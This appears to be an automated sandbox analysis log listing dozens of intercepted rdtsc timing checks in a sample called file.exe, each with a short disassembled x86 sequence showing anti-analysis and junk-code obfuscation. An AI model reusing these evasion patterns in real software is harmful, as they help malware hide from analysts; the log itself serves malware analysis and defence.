Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B87E4 second address: 12B87E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B97C2 second address: 12B9873 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F1DD4808488h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 or dword ptr [ebp+12457E45h], edi 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+12451424h], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F1DD4808488h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f pushad 0x00000050 call 00007F1DD4808499h 0x00000055 mov edi, 19F34555h 0x0000005a pop eax 0x0000005b add dword ptr [ebp+1246C223h], ebx 0x00000061 popad 0x00000062 xchg eax, esi 0x00000063 jmp 00007F1DD4808493h 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F1DD4808499h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9873 second address: 12B9879 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8A2C second address: 12B8A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BA896 second address: 12BA8F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov bh, 61h 0x0000000c push 00000000h 0x0000000e sub dword ptr [ebp+122D19F4h], eax 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F1DD489F598h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov ebx, 5649716Fh 0x00000035 xchg eax, esi 0x00000036 jmp 00007F1DD489F59Fh 0x0000003b push eax 0x0000003c push esi 0x0000003d push ecx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B9AB5 second address: 12B9AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD8A9 second address: 12BD8CE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD489F5A9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD98E second address: 12BD992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC8FC second address: 12BC920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F59Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD489F59Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC920 second address: 12BC938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808494h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE807 second address: 12BE80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFA6E second address: 12BFA74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BFA74 second address: 12BFA87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F1DD489F598h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C26AC second address: 12C2728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 js 00007F1DD480848Ch 0x0000000d jo 00007F1DD4808486h 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov ebx, 665B8D77h 0x0000001c mov di, 4238h 0x00000020 push 00000000h 0x00000022 jmp 00007F1DD4808493h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007F1DD4808488h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 push esi 0x00000044 mov edi, dword ptr [ebp+122D2D2Eh] 0x0000004a pop ebx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jbe 00007F1DD480849Ch 0x00000054 jmp 00007F1DD4808496h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C186A second address: 12C186F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CA3E7 second address: 12CA3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9AD1 second address: 12C9ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F1DD489F596h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9D8B second address: 12C9DA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1DD4808486h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jng 00007F1DD4808486h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9ED2 second address: 12C9ED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9ED9 second address: 12C9EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9EE3 second address: 12C9F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1DD489F5A8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE78F second address: 12CE7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp+04h], eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F1DD4808486h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE7A1 second address: 12CE7A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE7A7 second address: 12CE7AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CE8B4 second address: 12CE8B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D40C1 second address: 12D40E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F1DD4808496h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D40E1 second address: 12D40F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1DD489F5A0h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D40F8 second address: 12D4100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F5BF second address: 125F5CB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125F5CB second address: 125F5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D36EC second address: 12D370F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD489F5A8h 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D385B second address: 12D387D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD4808496h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F1DD4808488h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D964A second address: 12D964E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D964E second address: 12D966F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD480848Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F1DD4808486h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D97BB second address: 12D97C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9927 second address: 12D993E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD480848Dh 0x00000007 jg 00007F1DD480848Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9C02 second address: 12D9C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1DD489F596h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007F1DD489F5A3h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jne 00007F1DD489F596h 0x00000020 jmp 00007F1DD489F5A5h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9D93 second address: 12D9D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9345 second address: 12D9377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1DD489F5A9h 0x0000000e push esi 0x0000000f jmp 00007F1DD489F59Eh 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9377 second address: 12D939B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD4808490h 0x00000009 jmp 00007F1DD4808490h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA2F8 second address: 12DA307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1DD489F59Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA307 second address: 12DA30E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA582 second address: 12DA58C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1DD489F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267DCC second address: 1267DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267DD2 second address: 1267DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F1DD489F5A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267DF1 second address: 1267DF7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267DF7 second address: 1267E0C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1DD489F598h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d js 00007F1DD489F59Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E07D0 second address: 12E07E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1DD4808486h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e je 00007F1DD48084A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E07E8 second address: 12E07F6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1DD489F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E07F6 second address: 12E07FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7457 second address: 12E7478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F1DD489F5A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7478 second address: 12E7497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1DD4808493h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7648 second address: 12E764D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7A3B second address: 12E7A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7A41 second address: 12E7A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7A46 second address: 12E7A74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F1DD4808486h 0x00000009 jc 00007F1DD4808486h 0x0000000f jne 00007F1DD4808486h 0x00000015 jmp 00007F1DD4808495h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7F36 second address: 12E7F3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7F3B second address: 12E7F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7F43 second address: 12E7F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F1DD489F59Ch 0x00000010 jo 00007F1DD489F596h 0x00000016 ja 00007F1DD489F596h 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jnl 00007F1DD489F596h 0x00000026 pushad 0x00000027 popad 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b push ecx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293243 second address: 1293247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293247 second address: 1293263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1DD489F5A6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293263 second address: 129326B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129326B second address: 129326F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A905B second address: 12A905F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A905F second address: 12A90A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov cl, 07h 0x0000000c lea eax, dword ptr [ebp+1247ED9Eh] 0x00000012 call 00007F1DD489F5A1h 0x00000017 sub edx, dword ptr [ebp+122D2E22h] 0x0000001d pop ecx 0x0000001e mov ecx, dword ptr [ebp+122D2C5Ah] 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1DD489F5A5h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A90A7 second address: 12A90AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A941A second address: 12A9425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1DD489F596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9425 second address: 12A9431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9528 second address: 12A952C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A952C second address: 12A9532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9532 second address: 12A9548 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1DD489F598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007F1DD489F59Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A98B0 second address: 12A98B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9E79 second address: 12A9E7F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9E7F second address: 12A9EEC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1DD480849Ah 0x00000008 jmp 00007F1DD4808494h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 adc cl, FFFFFFA5h 0x00000015 mov dword ptr [ebp+1246C223h], esi 0x0000001b push 0000001Eh 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F1DD4808488h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov edx, esi 0x00000039 cmc 0x0000003a nop 0x0000003b push edi 0x0000003c pushad 0x0000003d pushad 0x0000003e popad 0x0000003f jnc 00007F1DD4808486h 0x00000045 popad 0x00000046 pop edi 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F1DD480848Eh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A9EEC second address: 12A9EF6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1DD489F59Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA1D7 second address: 12AA1DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AA289 second address: 1293243 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1DD489F5A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F1DD489F59Ch 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 or edi, 7CEF899Ah 0x00000019 call dword ptr [ebp+122D290Bh] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC085 second address: 12EC08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC08B second address: 12EC08F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC08F second address: 12EC093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC093 second address: 12EC099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC099 second address: 12EC0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1DD4808496h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1DD4808499h 0x00000012 jmp 00007F1DD4808491h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC23E second address: 12EC24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC3F2 second address: 12EC405 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1DD480848Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC558 second address: 12EC55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC55C second address: 12EC560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC560 second address: 12EC566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
